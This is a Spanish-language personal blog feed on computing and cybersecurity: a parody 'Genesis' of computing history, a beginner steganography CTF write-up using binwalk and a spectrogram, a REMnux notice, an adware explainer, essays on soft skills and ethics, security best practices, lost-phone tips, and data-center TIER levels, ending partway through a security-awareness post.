./bar.nett

Libro del Génesis Computacional

noreply@blogger.com (Randall Barnett) — Tue, 29 Dec 2020 22:31:00 +0000

En el principio creó Babbage la máquina mecánica analítica y Lovelace el procedimiento para usarla.

Y el cómputo estaba desordenado y sin rumbo, y las tinieblas estaban sobre la faz de la Primera Generación, y el Espíritu de los Tubos al Vacío se movía sobre la faz de los relay.

Y dijo Turing: Sea Colossus Mark 2; y fue de "propósito-general".

Y vio Mauchley y Eckert que la máquina era buena; y separaron a ENIAC de las tinieblas.

Y llamó Backus al FORmula TRANslating system como lenguaje FORTRAN, y a la herramienta para hacer la traducción hacia assembler como Compilador. Y fue la tarde y la mañana de la Segunda Generación.

Luego dijo IBM: Haya expansión en medio de las máquinas, y separó la IBM 1401, 1402, 1403, 1620 y la 7094.

E hizo IBM la Familia System/360, y separó los circuitos integrados que estaban dentro de la Familia. Y fue así.

Y llamó IBM a la expansión y la multiprogramación como OS/360. Y fue la tarde y la mañana de la Tercera Generación.

Dijo también Brooks: Júntense las experiencias que están en "The Mythical Man-Month" en un lugar, y descúbrase la Ingeniería de Software. Y fue así.

Y llamó Multiprogramación a que cada job pueda funcionar de manera aislada de los demás, y al hardware para proveer protección, como Memoria. Y vio que la CPU era buena.

Después se dijo: Produzca la integración de los periféricos como el lector de tarjetas, y la automatización de la lectura creando el spooling. Y fue así.

Produjo, pues, el Timesharing para múltiples usuarios, se le asignó entonces un terminal online a cada usuario. Y vio que la CPU seguía siendo buena.

Y fue la tarde y la mañana del preemptive multitasking.

MIT dijo luego: Haya CTSS (Compatible Time Sharing System); y sirva de interactividad que no había sido posible anteriormente sobre la tierra. Y fue así.

E hizo MIT, Bell Labs y General Electric las dos grandes lumbreras; la lumbrera mayor MULTICS, y la lumbrera menor UNIX.

Y fue la tarde y la mañana de los minicomputadores.

Dijeron Thompson y Ritchie: Produzcan UNIX en Lenguaje C, en la abierta expansión de los sistemas operativos.

Y creó AT&T el System V, y todo bit que se mueve en este, y la Universidad de California en Berkeley el BSD. Y vieron que eran buenos.

E IEEE los bendijo, diciendo: Fructificad y multiplicaos, y propuso una interfaz estándar de llamadas al sistema (syscalls) conocida como Portable Operating System Interface (POSIX). Para que podais escribir programas que funcionaran correctamente bajo las distintas versiones de UNIX.

Y fue la tarde y la mañana de POSIX.

Entonces dijo Stallman: Hagamos al hombre usar nuestra imagen, conforme a nuestra semejanza; y señoree que GNU is Not UNIX.

Y creó Stallman a GNU General Public License a su imagen, a imagen de Stallman lo creó; GNU Manifesto y GNU Hurd los creó. Y en la tierra hubo dos versiones, MINIX de Tanenbaum y Linux de Torvalds.

Y dijo INTEL: He aquí que os he dado computadoras personales con VLSI, que están sobre toda la tierra, y todo chip Intel 8080.

Y a toda interactividad de la tierra, deberá agradecerse a Engelbart. Toda MacOS, Windows y movilidad será para producir. Y fue así.

Y vio la Computación todo lo que había hecho, y he aquí que era bueno en gran manera. Y fue la tarde y la mañana de la Quinta Generación.

WRITE-UP: Konohagakure no Sato

noreply@blogger.com (Randall Barnett) — Tue, 22 Dec 2020 02:38:00 +0000

Nombre del reto: Konohagakure no Sato

Tipo de reto: Esteganográfico

Nivel: Principiante

Detalle del reto:

Konohagakure no Sato (木ノ葉隠れの里)

Danzo Shimura es un ninja muy poderoso de la Aldea de la Hoja, cuya naturaleza de chakra es el elemento viento. Además es un poderoso crypto-malware, cuya clave de descifrado la tiene bajo su poder, el temido Danzo!!. Recupérala: Has clic aquí

Solución:

Hay diferentes maneras de resolver este reto, y al ser de nivel principiante, la descripción del reto podría (no en todas las ocasiones...) traer pistas de cómo resolverlo. Veámoslo holísticamente primero.

El reto habla de una ficticia Aldea oculta de la Hoja, del shōnen manga Naruto. Al ser una serie animada japonesa (de ahí los caracteres kanji del nombre del reto) se colocó el nombre del reto en sí mismo, como una pista secundaria de lo que habría que buscar para encontrar el flag.

Para quien haya visto dicha serie animada, el tema central es la vida de los ninjas, tal cual la imagen de uno de sus protagonistas: Danzo Shimura. Pues, la palabra ninja tiene un sinónimo para masculino llamado: SHINOBI. Y este es precisamente, el flag a encontrar.

Ahora, la solución técnica. Obtenemos una imagen de un ninja que parece estar escondiendo algo. Al realizar ciertas comprobaciones, descubrimos que podría existir un archivo oculto.

Así que, descargamos el archivo danzo-shimura.png del repositorio y lo copiamos a nuestro Kali o Parrot.

Podemos comenzar con la herramienta file para sacar información básica del archivo:

$ file danzo-shimura.png

Al no ver nada fuera de lo normal, probaremos la herramienta exiftool, para revisar con mayor detalle los metadatos:

$ exiftool danzo-shimura.png

Misma conclusión. Probemos una tercer herramienta para verificar si la imagen sirve a manera de portador de contenidos. Usemos binwalk:

$ binwalk danzo-shimura.png

Esta vez encontramos algo útil, un RAR comprimido dentro del PNG. Binwalk tiene la opción para extraer los archivos comprimidos. Usemos lo siguiente:

$ binwalk -e danzo-shimura.png

Este comando creará una carpeta con el contenido extraído:

Perfecto! Lo más obvio es ese archivo WAV. Normalmente cuando obtengo archivos de audio, trato de revisarlos (porque suelen tener información dentro) a nivel de espectrograma y, normalmente uso una herramienta llamada Sonic Visualizer.

$ sonic-visualiser wind.wav

En el menú principal escoges Pane > Add Spectrogram.

Y listo! Ahí tienes el flag que andabas buscando:

Pudo ser más complicado? Si. Pero la idea era darte un acercamiento a la esteganografía básica. Bien, nos vemos.

Versión 7 de REMnux Linux para analistas de malware.

noreply@blogger.com (Randall Barnett) — Mon, 17 Aug 2020 21:33:00 +0000

Está disponible para descargar una nueva versión del kit de herramientas REMnux Linux para analistas de malware.

REMnux es un conjunto de herramientas de Linux para la ingeniería inversa y la disección de software, incluye una colección de herramientas gratuitas creadas por la comunidad que permite a los investigadores investigar malware.

El kit de herramientas fue lanzado por primera vez en 2010 por el investigador de SANS, Lenny Zeltser , quien aún mantiene el software.

La última versión de la herramienta es la 7, que incluye decenas de herramientas nuevas , donde algunas antiguas fueron eliminadas de la distribución de Linux.

La forma más sencilla de utilizar la distribución REMnux es descargar su máquina virtual en formato OVA e importarla a un hypervisor.

El kit de herramientas también podría instalarse como una distribución independiente de Linux o ejecutarse dentro de un contenedor Docker .

Las herramientas de este kit de REMnux, permiten analizar archivos ejecutables y artefactos sospechosos, realizar análisis estáticos y dinámicos de código malicioso, ejecutar análisis forenses de memoria en un host comprometido, explorar interacciones de red y sistema para análisis de comportamiento.

Abecedario de la Ciberseguridad: Adware

noreply@blogger.com (Randall Barnett) — Thu, 11 Aug 2016 17:04:00 +0000

Pura vida gente!

Hoy les comienzo a ofrecer una serie de posts orientados a conceptos sobre ciberseguridad.

Adware

¿Qué es?

Adware es un acrónimo compuesto por: "Advertising" o "Ad" (Publicidad) y "Software" (Programa), para referirse a sistemas de publicidad basados en sistemas informáticos.

Características básicas

Es una forma virulenta de hacer negocios con publicidad.
Normalmente se ofrecen productos o servicios digitalmente y sin permiso expreso al público, por medio de un sistema informático.
Existe el Adware malicioso (puede incluir Spyware) que ofrece un servicio o producto falso y el Adware de pago. Este último se crea mediante la contratación de desarrolladores o diseñadores de software por parte de agencias de publicidad, que pueden estar incluidos en software de terceros o en ambientes web.

¿Cómo reconocerlo?

Si un sistema computacional está infectado con Adware, normalmente hay señales claras (y otras no tanto...) que el usuario puede notar. Por ejemplo:

Pop-up ads: anuncios o páginas que se hacen visibles al dar clic en un vínculo web o en un formulario. Existen los Pop-downs que vendrían a ser lo mismo, sin embargo, dichas ventanas o anuncios se muestran ocultos al usuario, es decir, ventanas que se minimizan inmediatamente al ser invocadas o se colocan justo por detrás de la ventana que el usuario tiene abierta.
Videos o pistas de audio: que se reproducen sin permiso expreso del usuario.
GIF animados: que aparecen desde cualquiera de los lados del monitor sin permiso expreso del usuario.
Barras de búsqueda: que se instalan en los navegadores web sin permiso expreso del usuario.
Ventanas invisibles: que bloquean el uso normal del ratón (mouse) cuando se hace clic, a esto se le conoce como "to hijack clicks", "clickjacking" o más técnicamente "UI redress attack". Esto provoca que el usuario sea engañado al dar clic sobre algo y sea redirigido a otro lugar que no escogió.

¿Cómo defenderse?

Prevención, es la primera norma. No navegar en sitios o instalar software de dudosa procedencia.
Para sistemas operativos, instalar anti-adware, que normalmente vienen incluidos en paquetes de antivirus.
Para navegadores web, instalar plug-ins, por ejemplo ScriptSafe que no permiten que se ejecuten scripts sin permiso expreso del usuario, o bien, bloqueadores de publicidad como AdBlock.
Cuidado con los on-line stores de Apps para celulares. Hay estudios que revelan que un porcentaje elevado de Apps son maliciosas. Ver este paper de Bitdefender respecto al tema.

Nos vemos estimados!!

Tecnólogos y habilidades blandas

noreply@blogger.com (Randall Barnett) — Fri, 05 Aug 2016 17:29:00 +0000

Pura vida gente!

Mucho se ha escrito sobre el tema, por lo que voy a plantearlo de manera distinta. En Costa Rica, mi país, tenemos una prerrogativa importante respecto a varios temas de carácter tecnológico-legal.

Voy a comenzar mi elocución con datos de la Plataforma Tecnológica sobre el Estado de las capacidades para la Ciencia, la Tecnología y la Innovación en Costa Rica, que forma parte del Programa Estado de la Nación (PEN). Este proceso de investigación y análisis que culminó con la publicación del Primer Informe Estado de la Ciencia, la Tecnología y la Innovación, en 2014, generó un rico acervo de información estratégica sobre la situación del país en estos temas.

A partir de ello, el PEN creó la plataforma Hipatia, un bien público al cual se puede acceder mediante la dirección www.eccti.or.cr y que ofrece información desde dos aplicaciones. La primera de ellas contiene seis paneles (dashboards), por medio de los cuales se puede hacer consultas sobre los muchos temas de tecnología.

La segunda aplicación consiste de dos buscadores. Uno que permite identificar los laboratorios públicos que ofrecen servicios tecnológicos y otro que brinda información sobre las acciones de vinculación que desarrollan las universidades adscritas al Conare.

Citado lo anterior, vamos con los datos. El link para ver los datos completos este.

Tenemos un gráfico como el siguiente:

Observen la traza de color negro. La pregunta de control que da origen a los datos, que aprovisionaron el gráfico fue: ¿De mantenerse las tasas actuales de formación a nivel superior, cuáles disciplinas podrían en el mediano plazo tener mayores dificultades de relevo generacional?

De lo anterior se puede entender que en las carreras de ingeniería y de tecnología, hasta el 2015, casi el 40% de los graduados está en un rango de 26 a 35 años de edad. Por lo que basados en la brecha generacional vista, los paradigmas de obtención de conocimiento y los modelos de contratación laboral deben (y deberán) ajustarse a las necesidades inmediatas de este grupo de nuevos profesionales.

En CRC no necesariamente se requiere una educación formal o universitaria. Hay muchos profesionales que no se crearon a través de una universidad porque son autodidactas. Muchos de ellos son profesionales muy capacitados y competentes, y por supuesto, están aquellos cuya calidad profesional es cuestionable. Pero el hecho curioso, es que se tenga o no título universitario existe gente en ambas aristas, buenos y malos. Por lo que cabe una pregunta: ¿Se puede asegurar la calidad solamente basándose en la obtención de un título universitario?

La respuesta a eso no es sencilla. No es binaria: si o no. Ya que hay factores sociales, psicológicos, académicos, o económicos que hacen que una persona logre interiorizar que su profesión, para lo que estudió, es pieza importante en el desarrollo del país, y no solo ese "algo con que defenderse para poder comer".

Me limito a los hechos. Uno de los niveles máximos de especialización en campo un profesional determinado es el doctorado (PhD). Vean el siguiente gráfico:

Ciencias de la computación y afines está muy por debajo de la media (5,2% aprox.), de profesionales que alto grado de especialización. ¿Razones? El estudio muestra que, los formados en computación e inteligencia artificial son quienes ostentan o se encuentran entre los mejores perfiles laborales. Pero, ¿por qué el mercado laboral sigue necesitando tanto profesional aún?

Adicionalmente, los estudios de carácter multidisciplinario requeridos para abordar temas interdisciplinarios complejos que podrían tener un mayor impacto en la atención de problemas de la realidad nacional corresponden a tan solo un 1% de la producción.

Para responder a la última pregunta, aquí es donde las habilidades blandas entran: empatía social, responsabilidad, ética profesional, resiliencia, asertividad, facilidad de comunicación, trabajo en equipo, proactividad, adaptación al cambio, creatividad y muchas otras más.

Sería posible tan siquiera considerar que, una charla de 3 o 4 horas de ética profesional sea suficiente para desarrollar dichas habilidades (más las que no se mencionaron). Sería mejor formar profesionales (con o sin título) a nivel país, de manera integral entre industria-academia-estado con programas orientados al servicio social y el emprendedurismo, para convencer, "evangelizar" si se quiere, a las personas para formar un cambio cultural real.

Si la persona quiere hacer carrera y lograr puestos más altos, junto a la preocupación que debe tener por sus competencias técnicas, tiene también que preocuparse seriamente del desarrollo de sus habilidades blandas, que son en definitiva las que conducen al desarrollo y las que generan proyecciones en el mundo laboral moderno.

Mi país es extraño en muchas cosas. De grandes contrastes. La libertad de profesión simplemente no se debería encasillar, que de todas formas por estar protegida por Constitución no se puede, ya que la convertiría en una dictadura de las minorías. En el caso específico de la ciencias de la computación e informática, con su pluralidad permite formar economías basadas en la información y el conocimiento. Siempre será mejor apuntar como gremio a la apertura de pensamiento, y saber que se es mejor profesional cuando hay una infraestructura que te apoya y no te limita.

Cierro con un gráfico que me gustó.

La importancia de contar con personal idóneo, está por encima de "cursitos con descuento" u otros incentivos. Tender puentes, es hacer Patria. La imposición de reglas sin sentido nunca ha sido ni será la solución.

Debemos adquirir una deuda con la Sociedad.

noreply@blogger.com (Randall Barnett) — Fri, 22 Jul 2016 03:06:00 +0000

Nosotros como profesionales tenemos, debemos, adquirir una deuda con la Sociedad.

Hola. Me gustaría tratar un tema que toma de frente a todas las esferas sociales modernas: el egoísmo moral, o egoísmo ético.

En ese contexto, me salta una pregunta cuasi retórica basada en la afirmación que indica que, la libertad es la condición ontológica de la ética; pero la ética es la forma reflexiva que adopta la libertad.

¿Es la ética aquello que se lleva a cabo en la búsqueda o en el cuidado de uno mismo?

Decía Søren Aabye Kierkegaard, un prolífico filósofo y teólogo danés del siglo XIX:

“Quien se torna grave por muchas cosas, por toda clase de grandes y sonantes cosas, pero no ante sí mismo, es –a pesar de esa gravedad- un frívolo bromista.”

En palabras más llanas, puedes engañar a todo el mundo pero no a ti mismo. Y es esa imagen del individuo frente a su Yo,es lo que lo puede tonar un egoísta moral. Y que de darse dicho egoísmo, a la larga se vuelve evidente para los que le rodean, pero lo aceptan sin ton ni son como un perro cachorro a la teta de su madre.

Para dejar las cosas claras desde el inicio y por aquello que les cause pereza leer, no me cabe en la cabeza una definición de ética sin estar ligada al altruismo.

El cuidado de uno mismo ha sido, en el mundo grecorromano al menos, un modo mediante el cual la libertad individual ha sido pensada como ética. Si usted consulta toda una serie de textos que van desde los primeros diálogos platónicos hasta los grandes textos del estoicismo tardío (Marco Aurelio por ejemplo), podrá comprobar que este tema del cuidado de uno mismo ha atravesado realmente toda una reflexión moral. Pero tranquilo, no lo voy a enviar a leer eso. Solamente, llegue al final del texto presente.

Es interesante ver cómo en nuestras sociedades, por el contrario, el cuidado de uno mismo se ha convertido (me declaro ignorante desde cuando) en algo... sospechoso. Ocuparse de uno mismo ha sido denunciado casi espontáneamente como una forma de amor a sí mismo, como una forma de egoísmo o de interés individual en contradicción con el interés que es necesario prestar a los otros o con el necesario sacrificio de uno mismo.

Por ejemplo el cristianismo. La cuestión es mucho más compleja porque en el cristianismo se procura que la salvación sea también una manera de cuidar de uno mismo. Pero la salvación se efectúa en el cristianismo a través de la renuncia a uno mismo.

Se produce así la paradoja del cuidado del Yo, pero esta es otra historia. Para volver a la cuestión que planteaba, creo que entre los griegos y los romanos (sobre todo entre los griegos), para conducirse bien, era necesario cuidar de sí, a la vez para conocerse (gnosis seauton) y para superarse a sí mismo como persona. Me permito agregarle: "y para controlar los apetitos que podrían dominamos".

uuuhhhhh!!!... ya casi llego al punto.

Los que apoyan el egoísmo ético, se basan en al menos, tres líneas de razonamiento. Una de las cuales me siempre me ha llamado la atención, y cito:

"El altruismo provoca que se abandonen sueños, proyectos, etc., sacrificando la vida propia para salvar a otras personas. Por lo tanto en la ética del “altruismo”, la vida de un individuo o los intereses propios no tienen valor y se debe estar dispuesto a hacer un sacrificio para salvar a otros."

Aquí es donde el Yo se convierte en Yoismo.

Tengo una frase que me encanta: "La primer palabra que sale de la boca, sale de su corazón.". Es poco probable que una persona con egoísmo ético se de cuenta. Ya que su primera preocupación es amontonar el protagonismo. Es escribir o hablar en primera persona "YO".

El cuidado de sí es, el cuidado de los otros. Ética en si misma. Esperar quedar salvo de toda culpa por hacer el bien, porque al final hay una recompensa, es tan vacío y banal como regalar billetes de 5 dólares a corredores de bolsa en Wall Street.

Ámese a sí mismo, si. Pero no se enferme con "migomismo". Si el egoísta ético estuviese en una posición tan ventajosa que le garantizase su propia seguridad ante los demás, nada le impediría hacer a estos lo que no quisiera que le hicieran a él. Cierto? Piénselo detenidamente.

El egoísmo ético no puede ser correcto porque no puede dar soluciones a los conflictos de interés. Es decir, si sólo tomáramos en cuenta intereses propios, nunca aceptaríamos que éstos quedaran arruinados, ergo, no podría haber soluciones morales a problemas de intereses.

Alea iacta est.

2016 Mejores prácticas de seguridad de la información

noreply@blogger.com (Randall Barnett) — Wed, 13 Jan 2016 23:54:00 +0000

Pura vida estimados!

Comienzo este 2016 compartiendo con ustedes una serie de buenas prácticas en ciberseguridad. Espero les sean de utilidad.

Y aquí, el problema

El número de ataques cibernéticos exitosos, tomando por ejemplo a los EE.UU., han crecido 144% en los últimos cuatro años, y el resto del mundo está cerca. En ese mismo tiempo, el costo para la compañía promedio casi se ha duplicado. (Fuente: 2014 Cost of Cyber Crime Study)

En promedio, los APT persisten en la red desde siete meses antes de que sean detectados. Y el tiempo para resolver esos ataques una vez detectados, tienen un incrementado de hasta 45 días más. (Fuente: 2014 Cost of Cyber Crime Study)

Es obvio decir que las víctimas sufren pérdidas financieras, daños a la marca y daño a las relaciones con clientes. Solamente vean los casos del 2014-2015 de la banca nacional en Costa Rica.

La tecnología permite detectar y bloquear los ataques, pero la tecnología también debe ser aplicada por personal calificado a través de procesos de seguridad reflexivos y probados. Un programa de ciberdefensa y respuesta eficaz debe proporcionar estos procesos, administrados por un equipo de profesionales junto a un Chief Information Security Officer (CISO), que proporcione el liderazgo para planificar, ejecutar y mantener dicho programa.

Y ahora las buenas prácticas.

1. Realizar una evaluación de riesgos

Valore esto como un inventario de datos que podrían ser robados y servicios que podrían ser interrumpidos, junto con una estimación del costo que su empresa incurriría si esos activos estuviesen comprometidos.

¿Por qué?

Diferentes tipos de datos y recursos, representan diferentes costos para el negocio en caso de robo o equipo dañado. Por ejemplo, dependiendo de su nicho de mercado, la información de marketing puede que no sea tan valiosa para usted como los datos de los clientes. Ya que siempre serán limitados recursos de seguridad de la empresa, debe planificar su inversión y administrar sus recursos para ofrecer la mayor protección a los datos considerados críticos.

¿Cómo?

Haga un inventario de sus sistemas para identificar los datos que podrían ser robados y los servicios que podrían ser interrumpidos. Sobre la base de la cantidad y el tipo de datos, estime el coste para recuperar los datos o mitigar el daño. Considere siempre el peor de los escenarios.

Factores de éxito

Involucre a los stakeholders empresariales en el proceso de evaluación de riegos.
Considere la posibilidad de pérdida potencial de ingresos y el daño a la imagen.
Establezca prioridades para la protección y recuperación (desempolve su BCP).

2. Desarrolle un plan de seguridad empresarial

El plan de seguridad empresarial deberá contener tanto la estrategia, como la táctica para llevar a cabo la detección de amenazas, respuesta y recuperación.

¿Por qué?

Su plan deberá ser la guía para su inversión en tecnologías de seguridad y en la contratación de personal de seguridad. Deberá establecer procesos para la investigación de actividades sospechosas, protección de los recursos, y como responder a fallas de seguridad (este punto es crítico por el tiempo que debería invertir). También es necesario establecer parámetros básicos para dar declaraciones a la mesa directiva, a los socios, a la prensa o a quienes corresponda, sin poner en riesgo los activos de la empresa y quien o quienes tendrán la responsabilidad de responder si se produce una violación a la seguridad.

¿Cómo?

Las organizaciones poseen diferentes procesos de planificación, sin embargo, en cualquier plan de seguridad empresarial deben participar tanto las partes interesadas y expertos funcionales de confianza, para establecer los objetivos correctos y definir con cuáles procesos van a ser alcanzados. Recuerde la máxima: "Si un objetivo no se puede medir, no sirve.".

Factores de éxito

Defina cómo va a proteger los activos, cómo va a detectar las amenazas, y cómo va a responder a las fallas o a la actividad sospechosa.
Enfóquese primero con las prioridades establecidas en la evaluación del riesgo.
Sea realista; el plan debe estar alineado con el presupuesto.
Revise y actualice toda la documentación regularmente.

3. Coloque a la gente correcta en el lugar correcto

Las personas cualificadas son la parte más crítica de su plan y de la seguridad cibernética, y son a menudo la parte más difícil de obtener. Debe identificar las habilidades y los niveles de habilidad que poseen, con el fin que sean idóneos ejecutar el plan de seguridad de la empresa. Hecho lo anterior, deberá establecer las funciones y responsabilidades de cada grupo e individuo.

¿Por qué?

Casi todo administrador de sistemas o ingeniero de red sabe qué hacer si un sistema o enlace de red se cae. Pero aplicar inteligencia en la seguridad cibernética es todavía parte de un campo de carreras emergentes, por lo que se tiene que saber lo que busca, además de contar con el equipo básico que se necesita para ejecutar el plan y supervisar el trabajo de los miembros menos entrenados con el fin de que adquieran mayor experiencia.

¿Cómo?

Las prácticas de contratación varían de una compañía a otra. Comience con una buena comprensión de las habilidades que necesita la persona para satisfacer el puesto a cabalidad, y luego evaluar las capacidades de los candidatos para ejecutar el plan de seguridad. Recuerde la máxima: "Adecuar una persona para un puesto, y no un puesto adecuarse a una persona." Los profesionales de seguridad certificados son de alta demanda, por lo que el ambiente laboral debe estar a la altura, así que asegúrese de ofrecer un ambiente de trabajo y oportunidades de desarrollo que fomenten la retención.

Factores de éxito

Desarrolle las descripciones de los puestos, sus funciones y responsabilidades con base al plan de seguridad.
Busque gente con experiencia en las áreas especializadas de alta prioridad del plan: móvil, nube, seguridad de aplicaciones, etc.
Examine los certificados de alto nivel. Por dar un ejemplo, el más reconocido es el ISC2: Certifed Information Systems Security Professional (CISSP). Así se asegura que los profesionales tengan cierto nivel.

4. Despliegue sus defensas

Las tecnologías para defensa cibernética ofrecen una serie de funciones de seguridad interesantes: protegen los datos críticos con cifrado; detectan y bloquean los ataques que desean penetrar en la red; detectan brechas de seguridad, por lo que pueden responder rápidamente para proteger los activos; y permiten al staff de seguridad investigar dichas infracciones de actividad sospechosa. Al desarrollar el software en casa, también se pueden aumentar las defensas al incluir seguridad en el proceso de desarrollo.

¿Por qué?

Esperar a ser vulnerado, es asumir que ya se ha producido dicho problema. Ninguna defensa cibernética es 100% eficaz, por lo que el despliegue en capas de las defensas que posea, son una solución óptima para reducir el riesgo. Recuerde que hay un balance entre la eficiencia y la seguridad, por lo que a mayor profundidad en los anillos de seguridad la defensa debe ser menos restrictiva, para que en si misma no se vuelva un problema inmanejable para la empresa. Por supuesto, dicha flexibilidad nunca debe ser sinónimo de descuido.

¿Cómo?

Los cibercriminales se han convertido en expertos en evadir defensas, aunque siempre se pueden encontrar pistas en el entorno. Las tecnologías de seguridad recopilan y analizan grandes volúmenes de datos, los cuales son procesados para hacer threat intelligence por medio de los investigadores de seguridad. Los dispositivos como los cortafuegos de próxima generación y sistemas de prevención de intrusiones recogen datos de la red en tiempo real y aplican inteligencia de amenazas para detectar ataques.

La información de seguridad puede ser gestionada por medio de sus eventos en un Security Information and Event Management (SIEM), el cual acumula los datos de los logs y otras fuentes en todo el entorno de red, para correlacionarlos y analizarlos. Esto permite detectar patrones de ataque y ayuda al equipo de operaciones de seguridad a investigar y remediar dichos ataques.

Factores de éxito

Es necesario algo más que los cortafuegos y antivirus para dar seguridad a un sistema autónomo.
Implemente su defensa en capas que pueden bloquear los ataques en el borde de la red, detectar y detener las comunicaciones de malware dentro de la red; además de detectar y remediar las intrusiones exitosas.
Seleccione las soluciones de seguridad empresariales que aprovechan la mejor inteligencia de amenazas disponibles.
Recoja la mayor cantidad de datos del entorno que pueda.

5. Respuesta a incidentes

Cuando se produzca una brecha de seguridad (y ocurrirá sin lugar a dudas...) el plan de seguridad debe entrar en acción, para así proteger los activos críticos (como prioridad en su plan). El equipo encargado de llevar esta acción deberá: detener el ataque o al menos dar en cuarentena los sistemas afectados, resolver la vulnerabilidad explotada (remediar); recoger y preservar los datos que podrían ser utilizados como prueba en un proceso penal; comunicarse con los clientes afectados, empleados y otros para cumplir con las responsabilidades legales.

¿Por qué?

La velocidad y la efectividad de su respuesta determinará cuánto daño sufrirá. Una investigación muestra que el tiempo promedio para resolver un ataque cibernético en empresas de Estados Unidos es de 45 días a un costo de casi 1.6 millones USD por incidente. Peor aún, los cibercriminales pueden seguir filtrando datos hasta que el ataque se detenga por completo. Súmele a eso, que su empresa estará sujeta a los requisitos legales para la notificación a los clientes afectados, socios y autoridades policiales.

¿Cómo?

En caso de una violación a la seguridad, debe ejecutar su plan de seguridad para la respuesta a incidentes. Los miembros del equipo y otros en la organización deben conocer sus responsabilidades y cómo realizarlas. Los procesos deben abarcar todo lo que se debe hacer, pero deben mantenerse lo suficientemente simple para ejecutarse sin problemas. Las obligaciones legales y de comunicación deberían haber sido identificadas y planeadas por adelantado.

La acción más urgente para remediar es, detener el ataque. Ejemplos: arreglo de las vulnerabilidades en el código, bloqueando el ataque, o poner en cuarentena a los sistemas infectados. La retroalimentación posterior debe evaluar los daños, realizar cualquier comunicación necesaria, identificar las lecciones aprendidas y agregar lo aprendido en su plan de seguridad.

Factores de éxito

Practique su plan de respuesta a incidentes antes de tener que ejecutarlo de verdad.
Identifique y corrija las deficiencias en el plan.
Aplique técnicas forenses aceptadas en su país para preservar la evidencia.

Hay una frase que reza: "La mejor defensa en la ofensiva.". Yo la cambiaría por: "La mejor defensa es la que más se practica."

Saludos gente, nos vemos.

Adiós teléfono!

noreply@blogger.com (Randall Barnett) — Tue, 12 Jan 2016 17:31:00 +0000

Pura vida gente!

Tema de hoy: pérdida del teléfono móvil.

Causas: extravío, accidente, robo, mal funcionamiento.

De los males el menor. Si los datos ya no son accesibles, pues, al menos no deberás preocuparte de que caigan en malas manos, pero, si no es así? cómo lo compruebas?

Debido a ese grado de incertidumbre y al obvio problema de ya no tener tu móvil, me he dado a la tarea de darte algunos consejos que te podrían ayudar. No están escritos en piedra (ni en ningún orden específico), así que trata de llevarlos a tu propia realidad, ubicación geográfica o cultura. Veamos.

Denuncia:

Trato de no regionalizar mis posts, pero es la forma más sencilla que encontré de ejemplarizar el punto. Haz una denuncia. En mi país, Costa Rica, tenemos un ente del Poder Judicial llamado Ministerio Público donde se puede interponer denuncias, por ejemplo, de robo.

Trata de buscar, si estás seguro(a) que fue un robo o hurto, el lugar que te permitan hacer el trámite para la denuncia, haz valer tus derechos. Recuerda además, que ningún aparato, por más caro que este sea está por encima de tu vida.

Previene:

A veces no podemos lograr evitarlo, y nuestros datos junto con el móvil caen otras manos. Por eso trata de tener activo el patrón de desbloqueo o bien, la contraseña. Recuerda que no todos tendrán el conocimiento para vulnerarlo.

Acá cabe recalcar también, que si no eres un usuario con conocimientos avanzados en computación, es mejor que no trates de rootear, aplicar jail-break o hacer algún tipo de escalamiento de privilegios a tu móvil. Ya que eso posteriormente se puede convertir en un arma de doble filo contra ti mismo, porque sería más sencillo en esa condición acceder a carpetas del sistema y sacar mucha más información privada.

Nos vemos.

¿Sabes qué son los niveles TIER?

noreply@blogger.com (Randall Barnett) — Wed, 26 Aug 2015 21:03:00 +0000

Pura vida gente!

Les paso a explicar en unos sencillos pasos que son los TIER Levels, frase proveniente del mundo de los Data Centers.

Primero, ¿qué es un TIER Level? Es una metodología estandarizada que define/mide el tiempo de disponibilidad de un data center. Fácil verdad!

Segundo, se basan en un estándar llamado ANSI/TIA-942-A, el cual provee una guía para:

Medir el incremento de los niveles de resilencia en los Data Centers.
Mejorar el nivel de confiabilidad y robustez de los Data Centers.
Las calificaciones TIER se dan en cuatro áreas:

Telecomunicaciones.
Eléctrica.
Arquitectónica.
Mecánica.

Los niveles de redundancia se miden así:

Tier I = Componentes sin capacidad redundante (ejemplo 1 sola UPS o 1 solo proveedor de datos).
Tier II = Tier I + Dispositivos con componentes redundantes.
Tier III = Tier I + Tier II + Equipos de alimentación eléctrica dual y varios enlaces de salida.
Tier IV = Tier I + Tier II + Tier III + todos los componentes son completamente tolerantes a fallos incluyendo enlaces de datos, almacenamiento, aire acondicionado, energía eléctrica, etc. Todo tiene alimentación eléctrica dual.

Tercero, el Uptime Institute clasifica los Data Centers en cuatro categorías: Tier I, II, III y IV. Estas categorías corresponden a las garantías que ofrecen en cuanto al tipo de hardware que utiliza el Data Center para garantizar su redundancia.

	Disponibilidad: 99,67% 28,8 horas de interrupción al año. Sin redundancia
	Disponibilidad: 99,75% 22 horas de interrupción al año. Redundancia parcial
	Disponibilidad: 99,982% 1,6 horas de interrupción al año. Redundancia N+1
	Disponibilidad: 99,995% 0,8 horas de interrupción al año. Redundancia 2N+1

¿Qué diferencias básicas hay entre TIER III y IV?

TIER III: Con esta configuración, existe la posibilidad de programar periodos de mantenimiento sin que afecten a la continuidad del servicio en los servidores. Sin embargo, estos datacenters no están protegidos de cortes en caso de incidencia en los distintos componentes de la infraestructura. En otras palabras, los datacenters de nivel Tier III no tienen redundancia completa. Permiten el cold swap.

TIER IV: Los datacenters de esta categoría son completamente redundantes en cuanto a circuitos eléctricos, refrigeración y red. Esta arquitectura permite hacer frente a las peores incidencias técnicas sin interrumpir nunca la disponibilidad de los servidores. Permite cambiar los discos para mejorar sus prestaciones o sustituir componentes defectuosos (disco RAID, bloque de alimentación) sin interrupciones del servicio en el servidor, es decir, hot swap.

Y bueno, los TIER IV son anti-bombas! Un apocalipsis zombie ocurre y son los últimos en enterarse.

Nos vemos.

Concientización de la Ciberseguridad

noreply@blogger.com (Randall Barnett) — Thu, 13 Aug 2015 20:40:00 +0000

Pura vida gente!

El Usuario, la meta final... si les pareció a la intro de Star Trek, pues ya están viejos como yo.

Pues si, es el eslabón más débil de la cadena de seguridad. Kevin Mitnick, nos indica que existen 5 formas de entrenar a tus usuarios para que la superficie de riesgo se disminuya.

Veamos:

No hacer nada. Depender de filtros y contar con que los usuarios no hagan clic en enlaces de tipo phishing. La forma más barata ~~y tonta~~. Es sorprendente que el 25% de las organizaciones siguen utilizando esta táctica.
El cuarto de castigos. Arrear (si arrear...) a todos los usuarios una vez al año a una sala de conferencias. Mantenerlos despiertos con Red Bull y café durante una infinita cantidad de diapositivas de PowerPoint. Al menos se despertarán descansados.
